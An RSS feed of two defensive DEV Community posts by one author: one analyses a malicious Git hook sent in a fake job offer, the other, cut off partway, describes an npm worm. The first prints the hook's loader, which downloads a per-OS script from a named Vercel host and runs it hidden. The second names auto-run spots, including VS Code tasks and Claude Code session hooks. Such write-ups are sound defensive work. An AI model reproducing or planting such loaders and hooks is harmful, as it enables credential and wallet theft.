<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Huzaifa Khan</title>
    <description>The latest articles on DEV Community by Huzaifa Khan (@huzaifa207).</description>
    <link>https://dev.to/huzaifa207</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4181577%2F964dea46-6cd4-4e71-9362-d13e5867f259.jpg</url>
      <title>DEV Community: Huzaifa Khan</title>
      <link>https://dev.to/huzaifa207</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/huzaifa207"/>
    <language>en</language>
    <item>
      <title>A job offer on LinkedIn came with malware in a Git hook. It's the "Contagious Interview" playbook</title>
      <dc:creator>Huzaifa Khan</dc:creator>
      <pubDate>Mon, 09 Nov 2026 13:02:28 +0000</pubDate>
      <link>https://dev.to/huzaifa207/a-job-offer-on-linkedin-came-with-malware-in-a-git-hook-its-the-contagious-interview-playbook-34ia</link>
      <guid>https://dev.to/huzaifa207/a-job-offer-on-linkedin-came-with-malware-in-a-git-hook-its-the-contagious-interview-playbook-34ia</guid>
      <description>&lt;p&gt;A recruiter messaged me on LinkedIn about building the website for a blockchain basketball game. Then they sent a documentation pack as a &lt;code&gt;.tar.gz&lt;/code&gt; file. The plan was simple: review the docs, sign the NDA, then we'd schedule a call.&lt;/p&gt;

&lt;p&gt;The docs were real enough to read. The archive also held a Git hook that would have downloaded a script and run it on my Mac the first time I checked out a branch. One of its branches was called &lt;code&gt;NDA&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It follows the playbook of a campaign security researchers have been tracking for a while, called &lt;strong&gt;Contagious Interview&lt;/strong&gt;: fake recruiters, web3 projects, and code that runs when a developer does something routine. With so many developers looking for work right now, I'm writing up exactly what it looked like, so it's easier to spot. I've also turned the checks into a free desktop app, &lt;a href="https://github.com/huzaifa207/lookfirst" rel="noopener noreferrer"&gt;LookFirst&lt;/a&gt;, so anyone who receives files like these can check them, terminal or not.&lt;/p&gt;

&lt;h2&gt;
  
  
  The offer
&lt;/h2&gt;

&lt;p&gt;Nothing about the pitch was strange on its own:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A real-sounding project.&lt;/strong&gt; A blockchain basketball game whose client was "already in development", looking for someone to build its website: sign-up, deposits, and download pages.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A polished README.&lt;/strong&gt; Status tags, a reading order, an MVP scope, acceptance criteria. It read like a team that knew what it wanted.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;An NDA before anything else.&lt;/strong&gt; "No playable builds, private repos, wallets, keys, or staging credentials until the NDA is signed." That sounds careful. It also gives you a reason to go looking for the NDA.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;An archive, not a link.&lt;/strong&gt; Instead of a GitHub repository, I got a compressed copy of one, with its &lt;code&gt;.git&lt;/code&gt; folder included.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That last point is the one that matters, and it's easy to miss. I'll come back to it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Looking before opening
&lt;/h2&gt;

&lt;p&gt;I looked inside before extracting it. &lt;code&gt;tar&lt;/code&gt; can list an archive and print single files from it without writing anything to disk:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;tar&lt;/span&gt; &lt;span class="nt"&gt;-tzf&lt;/span&gt; pack.tar.gz          &lt;span class="c"&gt;# list every file&lt;/span&gt;
&lt;span class="nb"&gt;tar&lt;/span&gt; &lt;span class="nt"&gt;-xOf&lt;/span&gt; pack.tar.gz &lt;span class="se"&gt;\&lt;/span&gt;
  pack/.git/hooks/post-checkout   &lt;span class="c"&gt;# print one file to the screen&lt;/span&gt;
&lt;span class="nb"&gt;tar&lt;/span&gt; &lt;span class="nt"&gt;-tvzf&lt;/span&gt; pack.tar.gz &lt;span class="se"&gt;\&lt;/span&gt;
  pack/.git/hooks/post-checkout   &lt;span class="c"&gt;# show its permissions&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;None of these runs anything. The listing showed the docs, a &lt;code&gt;.git&lt;/code&gt; folder, and inside it a hook that isn't one of Git's samples: &lt;code&gt;.git/hooks/post-checkout&lt;/code&gt;. Its permissions were &lt;code&gt;-rwxrwxrwx&lt;/code&gt;, executable by anyone.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the hook does
&lt;/h2&gt;

&lt;p&gt;Git runs &lt;code&gt;post-checkout&lt;/code&gt; by itself after a &lt;code&gt;git checkout&lt;/code&gt; or &lt;code&gt;git switch&lt;/code&gt;. This one opens with a long, tidy comment explaining that it only reads the latest commit message to detect "a Chrome or Mozilla extension history update" and writes a marker file. Then it does the detection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;PATTERN_A&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'(chrome|chromium|mozilla|firefox).*(extension|addon).*(history|update)'&lt;/span&gt;
&lt;span class="nv"&gt;PATTERN_B&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'(extension|addon).*history.*(chrome|chromium|mozilla|firefox)'&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HEAD_LOG&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-qiE&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;PATTERN_A&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;|&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;PATTERN_B&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
  &lt;/span&gt;&lt;span class="nv"&gt;MATCHED&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1
&lt;span class="k"&gt;fi

if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$MATCHED&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-eq&lt;/span&gt; 0 &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
  &lt;/span&gt;&lt;span class="nv"&gt;MATCHED&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the message doesn't match, it sets &lt;code&gt;MATCHED=1&lt;/code&gt; anyway. And nothing after that even reads &lt;code&gt;MATCHED&lt;/code&gt;. The whole "extension history" story is decoration, there to make the file look boring to anyone who skims it. The real work comes next (trimmed):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="k"&gt;in
  &lt;/span&gt;Darwin&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"https://zenithflow-ext123456.vercel.app/api/m"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
  Linux&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="nv"&gt;URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"https://zenithflow-ext123456.vercel.app/api/l"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
  MINGW&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;MSYS&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;CYGWIN&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;Windows_NT&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
           &lt;span class="nv"&gt;URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"https://zenithflow-ext123456.vercel.app/api/w"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;span class="k"&gt;esac&lt;/span&gt;

curl &lt;span class="nt"&gt;-fsSL&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$URL&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP_DIR&lt;/span&gt;&lt;span class="s2"&gt;/run-command.sh"&lt;/span&gt;   &lt;span class="c"&gt;# or wget&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"213515"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP_DIR&lt;/span&gt;&lt;span class="s2"&gt;/.git-checker"&lt;/span&gt;
&lt;span class="nb"&gt;chmod&lt;/span&gt; +x &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP_DIR&lt;/span&gt;&lt;span class="s2"&gt;/run-command.sh"&lt;/span&gt;
&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TMP_DIR&lt;/span&gt;&lt;span class="s2"&gt;/run-command.sh"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;
&lt;span class="nb"&gt;exit &lt;/span&gt;0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;It works out whether you're on macOS, Linux, or Windows.&lt;/li&gt;
&lt;li&gt;It downloads a script made for your system from a Vercel app.&lt;/li&gt;
&lt;li&gt;It makes the script executable and runs it in the background, with all output thrown away.&lt;/li&gt;
&lt;li&gt;It exits successfully, so the checkout looks completely normal.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I didn't fetch the script, so I can't say what it does. In the reports on this campaign, that second stage steals credentials, browser data, and crypto wallets, and installs a backdoor.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why an archive, and why an NDA branch
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;git clone&lt;/code&gt; never copies hooks.&lt;/strong&gt; A repository's &lt;code&gt;.git/hooks&lt;/code&gt; folder stays on the machine that made it; a clone gets Git's harmless samples instead. So a hook can't reach you through a GitHub link. It can reach you through an archive of someone's &lt;code&gt;.git&lt;/code&gt; folder, which is exactly what I was sent.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Then something has to trigger it.&lt;/strong&gt; A &lt;code&gt;post-checkout&lt;/code&gt; hook runs when you switch branches. The README told me to sign the NDA before anything else, and the repository had a branch called &lt;code&gt;NDA&lt;/code&gt;. Reading it the obvious way, &lt;code&gt;git checkout NDA&lt;/code&gt;, or one click on that branch in VS Code, GitHub Desktop, or any other Git app, would have run the hook. Nobody had to ask me to run anything.&lt;/p&gt;

&lt;h2&gt;
  
  
  The campaign it matches
&lt;/h2&gt;

&lt;p&gt;Researchers call it &lt;strong&gt;Contagious Interview&lt;/strong&gt; and attribute it to North Korean operators. It targets developers, especially in crypto, fintech, and web3, through fake recruiters and "assessments" that run code when the candidate does something ordinary: installs dependencies, opens the folder in VS Code, or uses Git. &lt;a href="https://opensourcemalware.com/blog/lazarus-group-uses-git-hooks-to-hide-malware" rel="noopener noreferrer"&gt;OpenSourceMalware reported in May&lt;/a&gt; that the group had started hiding its loader in Git hooks, with the same shape as mine: check &lt;code&gt;uname -s&lt;/code&gt;, fetch a per-OS script from a Vercel app, hide the output, exit 0.&lt;/p&gt;

&lt;p&gt;Mine differs in the delivery. Their sample was a &lt;code&gt;.githooks/pre-commit&lt;/code&gt; file that needed a setup step to turn on. Mine came already installed in &lt;code&gt;.git/hooks&lt;/code&gt;, and waited for a checkout. I can't prove who sent it. What I can say is that the playbook is the same.&lt;/p&gt;

&lt;p&gt;I asked the recruiter why a documentation repo needed a hook that downloads and runs a script. I didn't get an answer.&lt;/p&gt;

&lt;h2&gt;
  
  
  Red flags, in order of how early you see them
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The project is web3, crypto, or a blockchain game,&lt;/strong&gt; and the role is broad or vague.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;You're sent files before any call,&lt;/strong&gt; especially an archive rather than a link to a repository.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The archive includes a &lt;code&gt;.git&lt;/code&gt; folder.&lt;/strong&gt; A pack of documents doesn't need one.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;There's a step that needs you to touch the files&lt;/strong&gt; (an NDA on a branch, a setup script, a "quick test") before you've spoken to a person.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The account or company is hard to verify:&lt;/strong&gt; a new profile, no team you can find, a website that's a single page.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;None of these proves anything alone. Two or three together are a reason to slow down.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to check anything a recruiter sends you
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The quick way: drop it on LookFirst.&lt;/strong&gt; I turned everything below into a free app for macOS, Windows and Linux, &lt;a href="https://github.com/huzaifa207/lookfirst/releases/latest" rel="noopener noreferrer"&gt;LookFirst&lt;/a&gt;. Drop an archive or a folder on it, and it tells you in plain words whether anything inside would run by itself, and when. If there's a Git repository inside, it checks every branch and tag too, without running Git. On the archive I was sent, it flagged the hook straight away, and found nothing else on the &lt;code&gt;NDA&lt;/code&gt; branch. It also recognises the two attacks I wrote about before this one, &lt;a href="https://itshuzaifa.com/writing/polinrider-force-push/" rel="noopener noreferrer"&gt;PolinRider&lt;/a&gt; and the &lt;a href="https://itshuzaifa.com/writing/shai-hulud-npm-worm/" rel="noopener noreferrer"&gt;Shai-Hulud npm worm&lt;/a&gt;, by their files, their markers and the infected package versions in a lockfile, and says which one it found.&lt;/p&gt;

&lt;p&gt;You can also browse the files as plain text, on any branch. The viewer marks what code editors don't show: invisible characters that make code read differently from how it runs, and code pushed off the right edge of the screen with long runs of spaces. It reads &lt;code&gt;.zip&lt;/code&gt;, &lt;code&gt;.tar&lt;/code&gt; and &lt;code&gt;.7z&lt;/code&gt; files in place, never extracts or runs anything, and nothing leaves your computer.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxqv07sze4ws9upa34yko.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxqv07sze4ws9upa34yko.gif" alt="LookFirst checking a test pack built like the one I was sent: it warns &amp;quot;Don't open this&amp;quot; about a Git hook, a VS Code task on the NDA branch that matches the PolinRider campaign and a program pretending to be a PDF, opens the task to its folder-open command, then shows a script with hidden direction-reversing characters and code pushed off-screen by spaces, both marked." width="800" height="524"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;LookFirst on a test pack built like the one I was sent.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;It's meant for the people who receive these files as much as for developers: a recruiter or business developer who gets "the project files" shouldn't need a terminal to check them. The app isn't code-signed yet, so the first launch needs one extra click, which the &lt;a href="https://github.com/huzaifa207/lookfirst#download" rel="noopener noreferrer"&gt;README&lt;/a&gt; walks through. There's a command-line version for developers and CI too.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Or check by hand. Look before you extract.&lt;/strong&gt; For a &lt;code&gt;.tar.gz&lt;/code&gt;, &lt;code&gt;tar -tzf&lt;/code&gt; lists it and &lt;code&gt;tar -xOf &amp;lt;archive&amp;gt; &amp;lt;file&amp;gt;&lt;/code&gt; prints one file. For a &lt;code&gt;.zip&lt;/code&gt;, &lt;code&gt;unzip -l&lt;/code&gt; and &lt;code&gt;unzip -p&lt;/code&gt; do the same.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Look for the places code runs without you running it.&lt;/strong&gt; These are the ones I've now seen used:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Runs when&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;.git/hooks/*&lt;/code&gt; (anything without &lt;code&gt;.sample&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;You commit, check out, merge, or push&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;core.hooksPath&lt;/code&gt; in &lt;code&gt;.git/config&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Points Git at a different folder of hooks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;.vscode/tasks.json&lt;/code&gt; with &lt;code&gt;"runOn": "folderOpen"&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;You open the folder in VS Code&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;.claude/settings.json&lt;/code&gt; with hooks&lt;/td&gt;
&lt;td&gt;You start a Claude Code session&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;scripts&lt;/code&gt; in &lt;code&gt;package.json&lt;/code&gt; (&lt;code&gt;preinstall&lt;/code&gt;, &lt;code&gt;postinstall&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;You run &lt;code&gt;npm install&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;If you have to use Git on it, turn hooks off for the command:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git &lt;span class="nt"&gt;-c&lt;/span&gt; core.hooksPath&lt;span class="o"&gt;=&lt;/span&gt;/dev/null checkout NDA
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Better still, delete the &lt;code&gt;.git&lt;/code&gt; folder and read the files as plain text, or ask for a repository link. And if a test really does need you to run code, do it in a throwaway virtual machine with no SSH keys, browser profiles, or wallets on it.&lt;/p&gt;

&lt;h2&gt;
  
  
  If you already ran it
&lt;/h2&gt;

&lt;p&gt;If you checked out a branch in a repository like this, assume the second stage ran:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Disconnect the machine,&lt;/strong&gt; and look for the files this hook leaves behind: &lt;code&gt;ls -la "${TMPDIR:-/tmp}"/run-command.* "${TMPDIR:-/tmp}"/.git-checker&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;From a different, clean device, revoke and replace everything the machine could reach:&lt;/strong&gt; GitHub and npm tokens, SSH keys, cloud keys, saved browser passwords and sessions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Move any crypto to a new wallet&lt;/strong&gt; created on a clean device. Wallets are the main target.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Get the machine checked,&lt;/strong&gt; or reinstall it. A backdoor won't show up as a file in your project.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Indicators from my sample, in case they help someone search: &lt;code&gt;post-checkout&lt;/code&gt; hook, &lt;code&gt;zenithflow-ext123456[.]vercel[.]app&lt;/code&gt; with paths &lt;code&gt;/api/m&lt;/code&gt;, &lt;code&gt;/api/l&lt;/code&gt; and &lt;code&gt;/api/w&lt;/code&gt;, and a marker file &lt;code&gt;.git-checker&lt;/code&gt; containing &lt;code&gt;213515&lt;/code&gt;. Expect the URL and the project to change between victims; the shape of the hook is what stays the same.&lt;/p&gt;

&lt;h2&gt;
  
  
  Three in a month
&lt;/h2&gt;

&lt;p&gt;In October, malware was &lt;a href="https://itshuzaifa.com/writing/polinrider-force-push/" rel="noopener noreferrer"&gt;force-pushed into my repos&lt;/a&gt; as a VS Code task. Then I wrote about a &lt;a href="https://itshuzaifa.com/writing/shai-hulud-npm-worm/" rel="noopener noreferrer"&gt;worm on npm&lt;/a&gt; that plants a Claude Code hook next to one. Now a Git hook, delivered as a job offer.&lt;/p&gt;

&lt;p&gt;Each time, the trick was the same: put code in a file that one of your tools runs for you, then wait for you to do something ordinary. A job search is a lot of ordinary steps with a lot of strangers' files. Look inside them first, or let &lt;a href="https://github.com/huzaifa207/lookfirst" rel="noopener noreferrer"&gt;LookFirst&lt;/a&gt; do it.&lt;/p&gt;

&lt;p&gt;Sources: &lt;a href="https://opensourcemalware.com/blog/lazarus-group-uses-git-hooks-to-hide-malware" rel="noopener noreferrer"&gt;OpenSourceMalware: Lazarus Group uses Git hooks to hide malware&lt;/a&gt;, &lt;a href="https://www.csoonline.com/article/4098699/contagious-interview-attackers-go-full-stack-to-fool-developers.html" rel="noopener noreferrer"&gt;CSO Online: Contagious Interview attackers go full stack to fool developers&lt;/a&gt;, &lt;a href="https://git-scm.com/docs/githooks" rel="noopener noreferrer"&gt;Git documentation: githooks&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>git</category>
      <category>career</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>A worm is spreading through npm install. Here's how I checked my machine and GitHub for it</title>
      <dc:creator>Huzaifa Khan</dc:creator>
      <pubDate>Mon, 02 Nov 2026 16:27:46 +0000</pubDate>
      <link>https://dev.to/huzaifa207/a-worm-is-spreading-through-npm-install-heres-how-i-checked-my-machine-and-github-for-it-2271</link>
      <guid>https://dev.to/huzaifa207/a-worm-is-spreading-through-npm-install-heres-how-i-checked-my-machine-and-github-for-it-2271</guid>
      <description>&lt;p&gt;Malware was &lt;a href="https://itshuzaifa.com/writing/polinrider-force-push/" rel="noopener noreferrer"&gt;force-pushed into my GitHub repos&lt;/a&gt; in October. A different attack had been spreading on npm since August, and Singapore's Cyber Security Agency has an &lt;a href="https://www.csa.gov.sg/alerts-and-advisories/advisories/ad-2026-009/" rel="noopener noreferrer"&gt;advisory&lt;/a&gt; on it. The attack on my repos needed someone's stolen GitHub credentials. This one only needs you to run &lt;code&gt;npm install&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It's the latest wave of &lt;strong&gt;Shai-Hulud&lt;/strong&gt;, a self-spreading npm worm named after the sandworms in Dune; researchers call this wave &lt;strong&gt;ChainDrop&lt;/strong&gt;. It started in popular caching packages like &lt;code&gt;keyv&lt;/code&gt;, &lt;code&gt;cacheable&lt;/code&gt; and &lt;code&gt;flat-cache&lt;/code&gt;, and the published lists now hold over 2,300 infected versions of 490 packages.&lt;/p&gt;

&lt;p&gt;This post covers what one install does, the detail that made me look twice, how I checked my own machine and every repo on my GitHub account without installing anything, and the free scanner I wrote for it: &lt;a href="https://github.com/huzaifa207/shai-hulud-scan" rel="noopener noreferrer"&gt;shai-hulud-scan&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What one install does
&lt;/h2&gt;

&lt;p&gt;An infected version looks like a normal patch release. The only visible change is in its &lt;code&gt;package.json&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="nl"&gt;"scripts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"preinstall"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"node setup.mjs"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;npm runs &lt;code&gt;preinstall&lt;/code&gt; while it installs, before any of your code loads. From there:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;setup.mjs&lt;/code&gt; fetches Bun&lt;/strong&gt; if you don't have it, and uses it to run the real payload, a heavily obfuscated file called &lt;code&gt;math_init.js&lt;/code&gt; (or &lt;code&gt;Math_Symbol.js&lt;/code&gt; in the first packages hit).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The payload collects credentials:&lt;/strong&gt; npm and GitHub tokens, cloud keys, SSH keys, Kubernetes, Terraform and Vault credentials, &lt;code&gt;.env&lt;/code&gt; files, shell history. On a CI runner, it also reads the runner's memory for its secrets.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It uploads them&lt;/strong&gt;, encrypted, to a new public repo it creates under &lt;em&gt;your&lt;/em&gt; GitHub account, with the description "Shai-Hulud: Here We Go Again".&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It spreads through npm.&lt;/strong&gt; With your npm token, it adds the same &lt;code&gt;preinstall&lt;/code&gt; line to every package you can publish, bumps the patch version, and publishes it. Everyone who depends on your package is next.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;It spreads through GitHub.&lt;/strong&gt; With your GitHub token, it commits copies of itself to the branches of repos it can reach, so anyone who clones and opens them runs it too.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Step 4 is why this is called a worm, not just malware. One maintainer's install becomes every one of their packages, and each of those packages has maintainers of its own.&lt;/p&gt;

&lt;h2&gt;
  
  
  The part that made me look twice
&lt;/h2&gt;

&lt;p&gt;These are the files step 5 commits to your repos:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;.vscode/tasks.json       runs node .claude/setup.mjs when the folder opens in VS Code
.claude/settings.json    runs node .vscode/setup.mjs when a Claude Code session starts
.claude/setup.mjs        the loader
.vscode/setup.mjs        the loader again
.claude/math_init.js     the payload
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The VS Code task is the same trick the malware in my repos used: a task set to run on folder open. The new part is the second line, a Claude Code &lt;code&gt;SessionStart&lt;/code&gt; hook. Your AI assistant's project settings now sit next to your editor's as a place an attacker can put code that runs on your machine. Both live in the repo, where any commit can change them.&lt;/p&gt;

&lt;p&gt;It also adds a GitHub Actions workflow, named &lt;code&gt;codeql_analysis.yml&lt;/code&gt; to look like GitHub's own code scanning, that copies every secret in the repo into one value with &lt;code&gt;toJSON(secrets)&lt;/code&gt; and saves it as a downloadable file.&lt;/p&gt;

&lt;h2&gt;
  
  
  Checking without installing anything
&lt;/h2&gt;

&lt;p&gt;The obvious way to find out whether you have an infected version is the one thing you shouldn't do: run &lt;code&gt;npm install&lt;/code&gt; and see. If an infected version is there, that runs it.&lt;/p&gt;

&lt;p&gt;You don't need to install anything, because the lockfile already records it. &lt;code&gt;package-lock.json&lt;/code&gt;, &lt;code&gt;yarn.lock&lt;/code&gt;, &lt;code&gt;pnpm-lock.yaml&lt;/code&gt; and &lt;code&gt;bun.lock&lt;/code&gt; each list the exact version of every package a project uses, including the dependencies of dependencies. Reading those and comparing them with the published list answers "would this install something infected?" without running a line of it.&lt;/p&gt;

&lt;p&gt;So that's what the scanner does first. On my machine, I pointed it at the folder holding all my projects:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;1,831 installed packages&lt;/strong&gt; and &lt;strong&gt;7 lockfiles&lt;/strong&gt; checked, &lt;code&gt;node_modules&lt;/code&gt; included.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nothing found.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

